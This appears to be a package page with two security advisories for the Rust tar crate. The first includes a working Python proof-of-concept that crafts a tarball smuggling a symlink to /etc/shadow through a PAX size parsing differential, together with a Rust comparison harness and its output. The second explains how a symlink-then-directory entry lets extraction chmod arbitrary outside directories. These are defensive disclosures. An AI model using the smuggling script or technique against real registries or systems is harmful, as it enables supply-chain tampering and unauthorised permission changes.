Package Instance

tar-rs incorrectly ignores PAX size headers if header size is nonzero
### Summary

As part of [CVE-2025-62518](https://www.cve.org/CVERecord?id=CVE-2025-62518) the astral-tokio-tar project was changed to correctly honor PAX size headers in the case where it was different from the base header.

However, it was missed at the time that this project (the original Rust `tar` crate) had a conditional logic that skipped the PAX size header in the case that the base header size was nonzero - almost the inverse of the astral-tokio-tar issue.

The problem here is that *any* discrepancy in how tar parsers honor file size can be used to create archives that appear differently when unpacked by different archivers.

In this case, the tar-rs (Rust `tar`) crate is an outlier in checking for the header size - other tar parsers (including e.g. Go `archive/tar`) unconditionally use the PAX size override.


### Details

https://github.com/astral-sh/tokio-tar/blob/aafc2926f2034d6b3ad108e52d4cfc73df5d47a4/src/archive.rs#L578-L600
https://github.com/alexcrichton/tar-rs/blob/88b1e3b0da65b0c5b9750d1a75516145488f4793/src/archive.rs#L339-L344

### PoC

(originally posted by https://github.com/xokdvium)


> I was worried that cargo might be vulnerable to malicious crates, but it turns out that crates.io has been rejecting both symlinks and hard links:

It seems like recent fixes to https://edera.dev/stories/tarmageddon have introduced a differential that could be used to smuggle symlinks into the registry that would get skipped over by `astral-tokio-tar` but not by `tar-rs`.

https://github.com/astral-sh/tokio-tar/blob/aafc2926f2034d6b3ad108e52d4cfc73df5d47a4/src/archive.rs#L578-L600
https://github.com/alexcrichton/tar-rs/blob/88b1e3b0da65b0c5b9750d1a75516145488f4793/src/archive.rs#L339-L344

```python
#!/usr/bin/env python3
B = 512


def pad(d):
    r = len(d) % B
    return d + b"\0" * (B - r) if r else d


def hdr(name, size, typ=b"0", link=b""):
    h = bytearray(B)
    h[0 : len(name)] = name
    h[100:107] = b"0000644"
    h[108:115] = h[116:123] = b"0001000"
    h[124:135] = f"{size:011o}".encode()
    h[136:147] = b"00000000000"
    h[148:156] = b"        "
    h[156:157] = typ
    if link:
        h[157 : 157 + len(link)] = link
    h[257:263] = b"ustar\x00"
    h[263:265] = b"00"
    h[148:155] = f"{sum(h):06o}\x00".encode()
    return bytes(h)


INFLATED = 2048
pax_rec = b"13 size=2048\n"

ar = bytearray()
ar += hdr(b"./PaxHeaders/regular", len(pax_rec), typ=b"x")
ar += pad(pax_rec)

content = b"regular\n"
ar += hdr(b"regular.txt", len(content))
mark = len(ar)
ar += pad(content)

ar += hdr(b"smuggled", 0, typ=b"2", link=b"/etc/shadow")
ar += b"\0" * B * 2

used = len(ar) - mark
if used < INFLATED:
    ar += b"\0" * (((INFLATED - used + B - 1) // B) * B)
ar += b"\0" * B * 2

open("smuggle.tar", "wb").write(bytes(ar))
```

`tar-rs` and `astral-tokio-tar` parse it differently, with `astral-tokio-tar` skipping over the symlink (so presumably the check from https://github.com/rust-lang/crates.io/blob/795a4f85dec436f2531329054a4cfddeb684f5c5/crates/crates_io_tarball/src/lib.rs#L92-L102 wouldn't disallow it).

```rust
use std::fs;
use std::path::PathBuf;

fn sync_parse(data: &[u8]) {
    println!("tar:");
    let mut ar = tar::Archive::new(data);
    for e in ar.entries().unwrap() {
        let e = e.unwrap();
        let path = e.path().unwrap().to_path_buf();
        let kind = e.header().entry_type();
        let link: Option<PathBuf> = e.link_name().ok().flatten().map(|l| l.to_path_buf());
        match link {
            Some(l) => println!("  {:20} {:?} -> {}", path.display(), kind, l.display()),
            None => println!("  {:20} {:?}", path.display(), kind),
        }
    }
    println!();
}

async fn async_parse(data: Vec<u8>) {
    println!("astral-tokio-tar:");
    let mut ar = tokio_tar::Archive::new(data.as_slice());
    let mut entries = ar.entries().unwrap();
    while let Some(e) = tokio_stream::StreamExt::next(&mut entries).await {
        let e = e.unwrap();
        let path = e.path().unwrap().to_path_buf();
        let kind = e.header().entry_type();
        let link: Option<PathBuf> = e.link_name().ok().flatten().map(|l| l.to_path_buf());
        match link {
            Some(l) => println!("  {:20} {:?} -> {}", path.display(), kind, l.display()),
            None => println!("  {:20} {:?}", path.display(), kind),
        }
    }
    println!();
}

#[tokio::main]
async fn main() {
    let path = std::env::args().nth(1).unwrap_or("smuggle.tar".into());
    let data = fs::read(&path).unwrap();
    sync_parse(&data);
    async_parse(data).await;
}
```

```
tar:
  regular.txt          Regular
  smuggled             Symlink -> /etc/shadow

astral-tokio-tar:
  regular.txt          Regular
```

### Impact

This can affect anything that uses the `tar` crate to parse archives and expects to have a consistent view with other parsers. In particular it is known to affect crates.io which uses `astral-tokio-tar` to parse, but cargo uses `tar`.

tar-rs `unpack_in` can chmod arbitrary directories by following symlinks
## Summary

When unpacking a tar archive, the `tar` crate's `unpack_dir` function uses `fs::metadata()` to check whether a path that already exists is a directory. Because `fs::metadata()` follows symbolic links, a crafted tarball containing a symlink entry followed by a directory entry with the same name causes the crate to treat the symlink target as a valid existing directory — and subsequently apply `chmod` to it. This allows an attacker to modify the permissions of arbitrary directories outside the extraction root.

## Reproducer

A malicious tarball contains two entries: (1) a symlink `foo` pointing to an arbitrary external directory, and (2) a directory entry `foo/.` (or just `foo`). When unpacked, `create_dir("foo")` fails with `EEXIST` because the symlink is already on disk. The `fs::metadata()` check then follows the symlink, sees a directory at the target, and allows processing to continue. The directory entry's mode bits are then applied via `chmod`, which also follows the symlink — modifying the permissions of the external target directory.

## Fix 

The fix is very simple, we now use `fs::symlink_metadata()` in `unpack_dir`, so symlinks are detected and rejected rather than followed.

## Credit

This issue was reported by @xokdvium - thank you!